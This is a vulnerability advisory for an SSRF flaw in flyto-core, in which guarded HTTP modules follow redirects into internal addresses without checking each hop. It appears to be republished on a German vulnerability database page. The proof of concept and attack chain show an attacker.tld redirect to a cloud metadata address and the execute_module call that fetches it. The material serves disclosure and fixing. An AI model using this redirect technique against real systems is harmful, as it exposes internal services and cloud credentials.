Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation
Summary
The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.
Root Cause
src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.
Impact
Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.
Proof of Concept
Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.
attacker hosts http://attacker.tld/r -> 302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}
Attack Chain
- Entry:
execute_module http.get {url:"http://attacker.tld/r"}(attacker 302->internal). Guard:validate_url_with_env_config(url)(get.py:104). Bypass proof: validation runs onattacker.tld(public) → passes; never re-run on the redirect target. - Sink:
session.get(url)(get.py:116) — noallow_redirectsarg → aiohttp default True. Bypass proof: grep ofhttp/foron_request_redirect/response.history→ NONE. - Impact: aiohttp follows 302 to the internal host; internal body returned (get.py:118).
Bypass Evidence
Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.
Affected Versions
<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.
Suggested Fix
Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.
Credit
Vulnerability discovered by zx (Jace).
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | flyto-core | < 2.26.7 | 2.26.7 |
Verweise
- https://github.com/flytohub/flyto-core/security/advisories/GHSA-c9hr-64h3-gxpc
- https://nvd.nist.gov/vuln/detail/CVE-2026-67424
- https://github.com/flytohub/flyto-core/commit/0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9
- https://github.com/flytohub/flyto-core
- https://github.com/flytohub/flyto-core/releases/tag/v2.26.7
- https://pypi.org/project/flyto-core
- https://github.com/advisories/GHSA-c9hr-64h3-gxpc
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N- Schwäche (CWE)
CWE-918- Plattform
- Python (PyPI)
- Paket
flyto-core- Veröffentlicht
- 30.07.2026
- Aktualisiert
- 11.10.2026 14:19
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3569 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-c9hr-64h3-gxpc - CC BY 4.0
Schwachstellenhistorie: flyto-core
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 8
- Erste → letzte
- 07.2026 07.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 6
Veröffentlichungen pro Jahr
- 2026: 8
-
Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.